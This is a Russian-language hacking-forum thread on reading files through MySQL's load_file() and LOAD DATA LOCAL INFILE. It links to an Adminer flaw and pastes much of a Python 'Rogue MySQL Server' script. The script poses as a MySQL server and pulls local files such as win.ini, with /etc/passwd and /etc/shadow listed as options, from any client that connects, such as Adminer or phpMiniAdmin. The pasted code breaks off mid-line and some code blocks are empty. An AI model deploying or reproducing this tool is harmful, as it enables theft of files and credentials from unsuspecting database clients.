![]() |
Эти два механизма известны давно и в хакерской среде используются для чтения файлов на сервере, например:
Код:
Code:Не буду делать по ним полное описание, остановлюсь только на их различии. Принципиальное различие меду ними состоит в том, что load_file() [далее LF] выполняется в контексте сервера MySQL, а load data local infile [LDLI] - в контексте клиента MySQL. Отсюда разница в эксплуатации: LF читает файлы с правами mysql, а LDLI с правами php (обычно это права веб-сервера, здесь и далее рассматривается случай работы из скриптов сайта, например из phpMyAdmin). Возможно чмоды выставлены так, что у mysql нет прав на чтение скриптов сайта а php не может прочитать за пределами open_basedir. Кстати про open_basedir и LDLI, на рдоте и в хакере писали, что LDLI обходит open_basedir, но у меня такое ни разу не прокатывало, вот по крайней мере на php, как модуль Apache, тестил на многих серверах - "open_basedir restriction in effect. Unable to open file". Второй важный момент, когда скрипты сайта и MySQL расположены на разных серверах. В этом случае LF будет читать файлы там, где сервер MySQL, а LDLI с сервера, где лежат скрипты сайта. |
по теме про недавнюю багу админера
https://www.percona.com/blog/2019/02...curity-issues/ https://securityaffairs.co/wordpress...sign-flaw.html и сервер https://github.com/Gifts/Rogue-MySql-Server |
Цитата:
Для случаев когда есть возможность инициировать MySQL соединение на подконтрольный хост. Можно читать локальные файлы клиента. LOAD DATA LOCAL должен поддерживаться клиентом и быть включен. Презентация Видео доклада Фейковый MySQL Код:
Code:Code: #!/usr/bin/env python #coding: utf8 import socket import asyncore import asynchat import struct import random import logging import logging.handlers PORT = 3306 log = logging.getLogger(__name__) log.setLevel(logging.DEBUG) tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab') tmp_format.setFormatter(logging.Formatter("%(ascti me)s:%(levelname)s:%(message)s")) log.addHandler( tmp_format ) filelist = ( # r'c:\boot.ini', r'c:\windows\win.ini', # r'c:\windows\system32\drivers\etc\hosts', # '/etc/passwd', # '/etc/shadow', ) #================================================ #=======No need to change after this lines======= #================================================ __author__ = 'Gifts' def daemonize(): import os, warnings if os.name != 'posix': warnings.warn('Cant create daemon on non-posix system') return if os.fork(): os._exit(0) os.setsid() if os.fork(): os._exit(0) os.umask(0o022) null=os.open('/dev/null', os.O_RDWR) for i in xrange(3): try: os.dup2(null, i) except OSError as e: if e.errno != 9: raise os.close(null) class LastPacket(Exception): pass class OutOfOrder(Exception): pass class mysql_packet(object): packet_header = struct.Struct('> 16, 0, self.packet_num) result = "{0}{1}".format( header, self.payload ) return result def __repr__(self): return repr(str(self)) @staticmethod def parse(raw_data): packet_num = ord(raw_data[0]) payload = raw_data[1:] return mysql_packet(packet_num, payload) class http_request_handler(asynchat.async_chat): def __init__(self, addr): asynchat.async_chat.__init__(self, sock=addr[0]) self.addr = addr[1] self.ibuffer = [] self.set_terminator(3) self.state = 'LEN' self.sub_state = 'Auth' self.logined = False self.push( mysql_packet( 0, "".join(( '\x0a', # Protocol '3.0.0-Evil_Mysql_Server' + '\0', # Version #'5.1.66-0+squeeze1' + '\0', '\x36\x00\x00\x00', # Thread ID 'evilsalt' + '\0', # Salt '\xdf\xf7', # Capabilities '\x08', # Collation '\x02\x00', # Server Status '\0' * 13, # Unknown 'evil2222' + '\0', )) ) ) self.order = 1 self.states = ['LOGIN', 'CAPS', 'ANY'] def push(self, data): log.debug('Pushed: %r', data) data = str(data) asynchat.async_chat.push(self, data) def collect_incoming_data(self, data): log.debug('Data recved: %r', data) self.ibuffer.append(data) def found_terminator(self): data = "".join(self.ibuffer) self.ibuffer = [] if self.state == 'LEN': len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1 if len_bytes |
Аналог adminer'a --phpminiadmin (osalabs.com) позволяет провернуть тот-же вектор.
Код:
Code: |
| Время: 00:42 |